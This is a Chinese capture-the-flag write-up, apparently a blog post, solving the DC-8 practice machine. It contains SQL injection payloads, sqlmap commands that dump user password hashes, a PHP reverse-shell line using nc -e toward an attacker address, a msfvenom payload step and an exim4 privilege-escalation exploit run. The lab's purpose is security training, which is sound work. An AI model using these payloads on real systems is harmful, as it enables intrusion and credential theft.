DC-8
靶机描述
链接 | https://www.five86.com/dc-8.html |
---|---|
发布日期 | 2019年9月4日 |
作者 | DCAU |
难度 | 简单 |
环境搭建
可以用vmware导入,也可以使用virtualbox导入,但是要注意网络设置,需要与你的攻击机处于同一网段。
靶机渗透
1.信息收集
靶机页面:
是一个登录页面
扫描主机:
发现目标ip
为192.168.98.138
扫描端口:
masscan --rate=100000 -p 0-65535 192.168.98.138
发现22端口和80端口开放
详细扫描:
nmap -T4 -sV -O -p 22,80 192.168.98.138
gobuster目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.206 -t 30
web应用指纹信息
whatweb http://192.168.98.138
目录扫描
dirb http://192.168.98.138 /usr/share/dirb/wordlists/big.txt
这个字典是工具自带的
抓到一个这种页面
2.漏洞挖掘
sql注入
当点击这个welcome to DC 4
的时候,url发生了变化,出现了 ?nid=1
,这里可能是一个注入点,对其测试
联合注入
判断是否存在注入
?nid=1 and 1=1#
?nid=1 and 1=2#
可以发现那块显示消失了,可以判断这里是数值型注入
判断列数
http://192.168.98.138/
?nid=1 order by 1 #
http://192.168.98.138/
?nid=1 order by 2 #
可以判断列数为1
判断显位
http://192.168.98.138/
?nid=-1 union select 1 #
获取数据
获取数据库名 :d7db
http://192.168.98.138/
?nid=-1 union select database() #
获取版本号:
http://192.168.98.138/
?nid=-1 union select version() #
获取该数据库的所有表名:
查询users表的列名
http://192.168.98.138/
?nid=-1 union select group_concatmap(column_name) from information_schema.columns where table_schema='d7db' and table_name='users' #
获取user表的数据
http://192.168.98.138/
?nid=-1 union select group_concat(name) from users #
http://192.168.98.138/
?nid=-1 union select group_concat(pass) from users #
报错注入
当输入一个 '
时,报错如下:
这里可以使用报错注入:
http://192.168.98.138/?nid=1 and updatexml(1,concat(0x7e,version(),0x7e),1) #
使用的是MariaDB
数据库
数据库名为:d7db
http://192.168.98.138/
?nid=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='d7db' ),1,30),0x7e),1) #
由于xpath只会报错32个字符,所以可以使用substr()
函数进行字符串截取,所以它就是这点不好!显示的字符有限,每次都只能显示一部分,如果数据非常庞大的话,就很麻烦。。。。。cao。。。有时候在没有工具的情况,并且数据量很庞大,还是不要用报错注入。。。
sqlmap自动注入
查询当前数据库
sqlmap -u 'http://192.168.98.138/?nid=1' -current-db -batch
查询所有数据库
sqlmap -u 'http://192.168.98.138/?nid=1' --dbs -batch
我去,正好就这2个数据库,真的好家伙
查表
sqlmap -u 'http://192.168.98.138/?nid=1' -D d7db --tables -batch
查列
sqlmap -u 'http://192.168.98.138/?nid=1' -D d7db -T users --columns -batch
查数据
sqlmap -u 'http://192.168.98.138/?nid=1' -D d7db -T users -C login,name,pass --dump -batch
使用John进行暴力破解
获取的账号密码:
admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
密码为hash值,可以借助john密码工具破解,保存john账户的密码为dc8.txt
文件
john dc8.txt
密码为:turtle
可以将破解出来的密码尝试ssh远程登录
发现ssh远程登录失败,发现需要使用公私钥登录
在此网页尝试登录,该网页由前面目录扫描得到
http://192.168.98.138/user
用之前解密的账号密码登录:john:turlte 密码是对的,但是被禁止登录了,不知道什么情况,我看别人都是可以登录来着。。。
我找到原因了,大概这是不在一个网段上访问的原因,我上面是在主机上访问的,在同一网段的kali上就可以成功登录了:
远程代码执行漏洞
1.这里有个地方可以编辑php代码:
编写一个php代码:
返回到view页面,提交如下,但是没有任何回显:
按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。
这里是可以远程代码执行的,可以用nc反弹shell
3.漏洞利用
方法一:编写反弹shell脚本
我们尝试执行PHP反弹shell脚本,将原有的
flag
进行保留,防止报错<p>flag</p>
<?php
system("nc -e /bin/bash 192.168.98.136 4567");
?>
返回到view页面提交:
kali开始监听:
nc -lvvp 4567
成功接收到会话:
现在成功拿到shell了,接下来就是提权了
方法二:
1. 使用msfvenom制作反弹shell脚本:
制作一个php的payload:
2.将php代码复制到网站中
3.msf开始监听:
4.提交代码
此时后台默认执行所编写的php脚本代码
可以发现,页面一直在跳转中,这时候kali已经拿到shell了
5.拿到shell,并用python打开一个标准shell
监听到会话,进入shell
python -c "import pty;pty.spawn('/bin/bash')"
查看一下目录有无好东西:并没有发现什么
4.提权
查看当前权限:
1.find 命令查找具有sudo权限的命令,发现exim4在使用时具有root权限
find / -perm -u=s -type f 2>/dev/null
2.查看exim4版本
3.查询exim4版本的漏洞,选择相近的版本漏洞利用
4.将脚本复制到/tmp目录下
进入tmp目录,开启python服务器
因为其他目录有一定操作权限限制,所以我们操作靶机的tmp目录:
./46996.sh -m setuid
提权失败
./46996.sh -m netcat
提权成功
flag在root目录下,有了root权限才能读取root目录下的内容:
实验总结
这个靶场考察了很多内容,是一个比较全面的靶场,对于新手来说是一个不错的靶场,提升总结利用能力
知识点有:目录扫描,sql注入,远程代码执行,反弹shell,提权时使用find查找可以执行的命令,对命令exim的版本提权漏洞等。
本文作者:AgonySec
本文链接:https://www.cnblogs.com/agonysec/p/18304749/dc8-17tsu
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步